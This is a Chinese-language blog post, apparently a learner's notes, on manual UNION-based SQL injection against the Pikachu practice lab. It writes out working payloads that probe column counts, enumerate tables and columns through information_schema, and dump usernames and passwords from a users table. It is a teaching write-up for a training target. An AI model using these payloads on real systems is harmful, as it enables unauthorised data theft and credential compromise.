SQL注入之union以及information_schema手工注入

SQL注入之union以及information_schema手工注入

union 注入

	union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。

确认字段个数

	注:union 操作符一般与 order by 语句配合使用
	因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。
	例如 若a' order by 4#%之前都没有报错,则三个字段

使用union针对查出来的字段数做一个SQL语句拼接

例如a' union select database(),user(),version()#%

information_schema 注入

	information_schema (提纲)数据库是 MySQL 系统自带的数据库。
	其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来

先通过之前的union先找出数据库的名称

输入 vince' union select database(),user(),3#%

得到数据库名

获取pikachu数据库的表名

	u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
	where table_schema='pikachu'
		指定数据库
		from information_schema.   tables为 information_schema数据库库中的table表
		table_schema ,table_name
		为table表中的两个字段
			table_schema
					存储了数据库名
					table_name
							存储了表名
								由此得到了表名

获取 pikachu 数据库的字段名

	k'union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
			table_name='users'指定表名为users的表
			from information_schema.columns  为 information_schema数据库库中的columns表
			table_name,column_name
					table_name
						存储了表名
					column_name 
						存储了字段名
							得到了字段名

最后获取敏感字段值的内容 username uid 等

			输入:kobe'union select username ,password,3 from users#%
				对密码解密

小结

通过这次的了解,我认识到可以按照数据库 库-表-字段这个层次性进行一步步渗透 这是一个很好的思路

发布了63 篇原创文章 · 获赞 8 · 访问量 2512

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105273264